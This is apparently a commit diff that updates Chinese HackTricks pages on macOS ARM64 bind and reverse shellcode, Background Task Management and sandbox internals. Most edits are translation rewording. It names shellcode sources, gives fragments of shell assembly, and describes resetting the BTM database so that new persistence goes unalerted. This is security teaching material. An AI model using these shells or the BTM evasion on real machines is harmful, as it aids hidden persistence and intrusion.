来自 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 的 Bind shell 在 **port 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -714,7 +718,7 @@ svc #0x1337
|
|||
```
|
||||
#### 反向 shell
|
||||
|
||||
从 [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) 下载 revshell 到 **127.0.0.1:4444**
|
||||
来自 [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s),revshell 到 **127.0.0.1:4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -782,16 +786,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS 安全保护
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -27,6 +27,10 @@ Gatekeeper 通常用于指代 **Quarantine + Gatekeeper + XProtect** 的组合
|
|||
|
||||
## 进程限制
|
||||
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - 系统完整性保护
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
|
@ -35,7 +39,7 @@ Gatekeeper 通常用于指代 **Quarantine + Gatekeeper + XProtect** 的组合
|
|||
|
||||
### 沙盒
|
||||
|
||||
macOS 沙盒 **限制应用程序** 在沙盒内运行时的 **允许操作**,这些操作在应用程序运行时的沙盒配置文件中指定。这有助于确保 **应用程序仅访问预期的资源**。
|
||||
macOS 沙盒 **限制应用程序** 在沙盒内运行时的 **允许操作**,这些操作由应用程序运行时的沙盒配置文件指定。这有助于确保 **应用程序仅访问预期的资源**。
|
||||
|
||||
{% content-ref url="macos-sandbox/" %}
|
||||
[macos-sandbox](macos-sandbox/)
|
||||
|
@ -43,7 +47,7 @@ macOS 沙盒 **限制应用程序** 在沙盒内运行时的 **允许操作**,
|
|||
|
||||
### TCC - **透明性、同意和控制**
|
||||
|
||||
**TCC(透明性、同意和控制)** 是一个安全框架。它旨在 **管理应用程序的权限**,特别是通过调节它们对敏感功能的访问。这包括 **位置服务、联系人、照片、麦克风、相机、无障碍和完全磁盘访问** 等元素。TCC 确保应用程序只能在获得用户明确同意后访问这些功能,从而增强对个人数据的隐私和控制。
|
||||
**TCC(透明性、同意和控制)** 是一个安全框架。它旨在 **管理应用程序的权限**,特别是通过调节它们对敏感功能的访问。这包括 **位置服务、联系人、照片、麦克风、相机、无障碍和完整磁盘访问** 等元素。TCC 确保应用程序在获得用户明确同意后才能访问这些功能,从而增强对个人数据的隐私和控制。
|
||||
|
||||
{% content-ref url="macos-tcc/" %}
|
||||
[macos-tcc](macos-tcc/)
|
||||
|
@ -70,7 +74,7 @@ macOS 中的启动约束是一种安全功能,用于 **调节进程启动**,
|
|||
|
||||
MRT 应用程序位于 **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
## 后台任务管理
|
||||
## 背景任务管理
|
||||
|
||||
**macOS** 现在 **提醒** 每次工具使用众所周知的 **技术来保持代码执行**(如登录项、守护进程等),以便用户更好地了解 **哪些软件在持续运行**。
|
||||
|
||||
|
@ -80,7 +84,7 @@ MRT 应用程序位于 **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
|||
|
||||
**`backgroundtaskmanagementd`** 知道某些东西安装在持久文件夹中的方式是通过 **获取 FSEvents** 并为这些事件创建一些 **处理程序**。
|
||||
|
||||
此外,还有一个 plist 文件,包含 **众所周知的应用程序**,这些应用程序经常保持,由苹果维护,位于:`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
此外,还有一个 plist 文件,包含 **众所周知的应用程序**,这些应用程序经常保持由苹果维护,位于:`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
```json
|
||||
[...]
|
||||
"us.zoom.ZoomDaemon" => {
|
||||
|
@ -114,9 +118,9 @@ xattr -rc dumpBTM # Remove quarantine attr
|
|||
|
||||
### 干扰 BTM
|
||||
|
||||
当发现新的持久性时,会发生类型为 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 的事件。因此,任何 **防止** 此 **事件** 被发送或 **代理不提醒** 用户的方法都将帮助攻击者 _**绕过**_ BTM。
|
||||
当发现新的持久性时,会发生类型为 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 的事件。因此,任何 **防止** 此 **事件** 被发送或 **代理不警告** 用户的方法都将帮助攻击者 _**绕过**_ BTM。
|
||||
|
||||
* **重置数据库**:运行以下命令将重置数据库(应该从头开始重建),但是,由于某种原因,运行此命令后,**在系统重启之前不会提醒任何新的持久性**。
|
||||
* **重置数据库**:运行以下命令将重置数据库(应该从头开始重建),但是,由于某种原因,在运行此命令后,**在系统重启之前不会警告任何新的持久性**。
|
||||
* 需要 **root** 权限。
|
||||
```bash
|
||||
# Reset the database
|
||||
|
@ -142,9 +146,10 @@ T
|
|||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ T
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -43,7 +43,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
在每个 bundle id 文件夹内,您可以找到应用的 **plist** 和 **数据目录**,其结构模仿主目录:
|
||||
在每个 bundle id 文件夹内,您可以找到应用的 **plist** 和 **数据目录**,其结构模仿主文件夹:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -67,10 +67,10 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**拥有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
|
||||
请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**拥有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
|
||||
{% endhint %}
|
||||
|
||||
**`SandboxProfileData`**是编译后的沙箱配置文件CFData,已转义为B64。
|
||||
**`SandboxProfileData`**是编译后的沙盒配置文件CFData,已转义为B64。
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
|
@ -125,9 +125,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
|
||||
## 沙盒配置文件
|
||||
|
||||
沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的内容的配置文件。它使用**沙盒配置文件语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。
|
||||
沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的配置文件。它使用**沙盒配置文件语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。
|
||||
|
||||
在这里您可以找到一个示例:
|
||||
这里是一个示例:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
|
@ -250,7 +250,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
|||
#### 通过 API
|
||||
|
||||
`libsystem_sandbox.dylib` 导出的函数 `sandbox_set_trace_path` 允许指定一个跟踪文件名,沙箱检查将写入该文件。\
|
||||
还可以通过调用 `sandbox_vtrace_enable()` 来执行类似操作,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
|
||||
还可以通过调用 `sandbox_vtrace_enable()` 来做类似的事情,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
|
||||
|
||||
### 沙箱检查
|
||||
|
||||
|
@ -260,15 +260,15 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
|||
|
||||
MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
|
||||
|
||||
如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,则系统将该配置文件 **/System/Library/Sandbox/Profiles/application.sb** 应用到该进程。
|
||||
如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,则系统将 **/System/Library/Sandbox/Profiles/application.sb** 配置文件应用于该进程。
|
||||
|
||||
在 iOS 中,默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱表示为每个权限的允许/拒绝二叉树。
|
||||
在 iOS 中,默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱被表示为每个权限的允许/拒绝二叉树。
|
||||
|
||||
### App Store 应用中的自定义 SBPL
|
||||
|
||||
公司可能会使其应用程序 **使用自定义沙箱配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到苹果的授权。
|
||||
公司可能会使其应用程序 **使用自定义沙箱配置文件**(而不是默认配置文件)。他们需要使用需要苹果授权的权限 **`com.apple.security.temporary-exception.sbpl`**。
|
||||
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查该权限的定义。
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查此权限的定义。
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -276,7 +276,7 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
这将**在此权限后评估字符串**作为沙箱配置文件。
|
||||
这将**在此权限之后评估字符串**作为沙箱配置文件。
|
||||
|
||||
### 编译和反编译沙箱配置文件
|
||||
|
||||
|
@ -288,9 +288,9 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
|||
|
||||
## 调试和绕过沙箱
|
||||
|
||||
在 macOS 上,与 iOS 不同,iOS 中的进程从一开始就由内核进行沙箱化,**进程必须自行选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制,尽管 App Store 应用始终处于沙箱中。
|
||||
在 macOS 上,与 iOS 不同,iOS 中的进程从一开始就被内核沙箱化,**进程必须自行选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制,尽管 App Store 应用始终是沙箱化的。
|
||||
|
||||
如果进程具有权限 `com.apple.security.app-sandbox`,则它们在启动时会自动从用户空间进行沙箱化。有关此过程的详细说明,请查看:
|
||||
如果进程具有权限 `com.apple.security.app-sandbox`,则在启动时会自动从用户空间沙箱化。有关此过程的详细说明,请查看:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
|
@ -319,7 +319,7 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
|||
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**某个 PID、审计令牌或唯一 ID 是否允许某个操作**。
|
||||
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)(可以在[这里找到编译版本](https://newosxbook.com/articles/hitsb.html))可以检查某个 PID 是否可以执行某些操作:
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)(在这里找到[编译版本](https://newosxbook.com/articles/hitsb.html))可以检查某个 PID 是否可以执行某些操作:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
|
@ -340,7 +340,7 @@ sbtool <pid> all
|
|||
|
||||
此系统调用 (#381) 期望第一个参数为一个字符串,指示要运行的模块,然后第二个参数为一个代码,指示要运行的函数。第三个参数将取决于执行的函数。
|
||||
|
||||
函数 `___sandbox_ms` 调用封装了 `mac_syscall`,在第一个参数中指示 `"Sandbox"`,就像 `___sandbox_msp` 是 `mac_set_proc` (#387) 的封装一样。然后,`___sandbox_ms` 支持的一些代码可以在此表中找到:
|
||||
函数 `___sandbox_ms` 调用封装了 `mac_syscall`,在第一个参数中指示 `"Sandbox"`,就像 `___sandbox_msp` 是 `mac_set_proc` (#387) 的封装一样。然后,`___sandbox_ms` 支持的一些代码可以在下表中找到:
|
||||
|
||||
* **set\_profile (#0)**: 将编译或命名的配置文件应用于进程。
|
||||
* **platform\_policy (#1)**: 强制执行特定于平台的策略检查(在 macOS 和 iOS 之间有所不同)。
|
||||
|
@ -363,7 +363,7 @@ sbtool <pid> all
|
|||
* **vtrace (#19)**: 跟踪沙箱操作以进行监控或调试。
|
||||
* **builtin\_profile\_deactivate (#20)**: (macOS < 11)停用命名配置文件(例如,`pe_i_can_has_debugger`)。
|
||||
* **check\_bulk (#21)**: 在一次调用中执行多个 `sandbox_check` 操作。
|
||||
* **reference\_retain\_by\_audit\_token (#28)**: 创建审计令牌的引用,以便在沙箱检查中使用。
|
||||
* **reference\_retain\_by\_audit\_token (#28)**: 为审计令牌创建引用,以便在沙箱检查中使用。
|
||||
* **reference\_release (#29)**: 释放先前保留的审计令牌引用。
|
||||
* **rootless\_allows\_task\_for\_pid (#30)**: 验证是否允许 `task_for_pid`(类似于 `csr` 检查)。
|
||||
* **rootless\_whitelist\_push (#31)**: (macOS)应用系统完整性保护(SIP)清单文件。
|
||||
|
@ -381,21 +381,21 @@ sbtool <pid> all
|
|||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** 通过 MACF 使用了超过一百个钩子。大多数钩子将仅检查一些琐碎的情况,如果允许执行该操作,则会调用 **`cred_sb_evalutate`**,并传入来自 MACF 的 **凭据** 和一个对应于要执行的 **操作** 的数字,以及一个用于输出的 **缓冲区**。
|
||||
**`Sandbox.kext`** 通过 MACF 使用了超过一百个钩子。大多数钩子只会检查一些微不足道的情况,如果允许执行该操作,则会调用 **`cred_sb_evalutate`**,并传入来自 MACF 的 **凭据** 和一个对应于要执行的 **操作** 的数字,以及一个用于输出的 **缓冲区**。
|
||||
|
||||
一个很好的例子是函数 **`_mpo_file_check_mmap`**,它挂钩了 **`mmap`**,并将开始检查新内存是否可写(如果不可写则允许执行),然后检查它是否用于 dyld 共享缓存,如果是,则允许执行,最后调用 **`cred_sb_evalutate`** 进行进一步的允许检查。
|
||||
一个很好的例子是函数 **`_mpo_file_check_mmap`**,它挂钩了 **`mmap`**,并将开始检查新内存是否可写(如果不可写则允许执行),然后检查它是否用于 dyld 共享缓存,如果是,则允许执行,最后调用 **`sb_evaluate_internal`**(或其一个封装)以执行进一步的允许检查。
|
||||
|
||||
此外,在沙箱使用的数百个钩子中,有 3 个特别有趣:
|
||||
此外,在沙箱使用的数百个钩子中,有三个特别有趣:
|
||||
|
||||
* `mpo_proc_check_for`: 如果需要并且之前未应用,则应用配置文件。
|
||||
* `mpo_vnode_check_exec`: 当进程加载相关二进制文件时调用,然后执行配置文件检查,并检查禁止 SUID/SGID 执行。
|
||||
* `mpo_cred_label_update_execve`: 当标签被分配时调用。这是最长的,因为它在二进制文件完全加载但尚未执行时调用。它将执行诸如创建沙箱对象、将沙箱结构附加到 kauth 凭据、移除对 mach 端口的访问等操作。
|
||||
* `mpo_cred_label_update_execve`: 当标签被分配时调用。这是最长的一个,因为它在二进制文件完全加载但尚未执行时调用。它将执行诸如创建沙箱对象、将沙箱结构附加到 kauth 凭据、移除对 mach 端口的访问等操作。
|
||||
|
||||
请注意,**`cred_sb_evalutate`** 是 **`sb_evaluate`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
|
||||
请注意 **`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
|
||||
|
||||
## Sandboxd
|
||||
|
||||
沙箱还有一个用户守护进程,暴露了 XPC Mach 服务 `com.apple.sandboxd` 并绑定了内核扩展用于与之通信的特殊端口 14 (`HOST_SEATBELT_PORT`)。它使用 MIG 暴露了一些函数。
|
||||
沙箱还有一个用户守护进程,暴露了 XPC Mach 服务 `com.apple.sandboxd` 并绑定特殊端口 14 (`HOST_SEATBELT_PORT`),内核扩展使用该端口与其通信。它通过 MIG 暴露了一些函数。
|
||||
|
||||
## References
|
||||
|
||||
|
|
Loading…
Reference in a new issue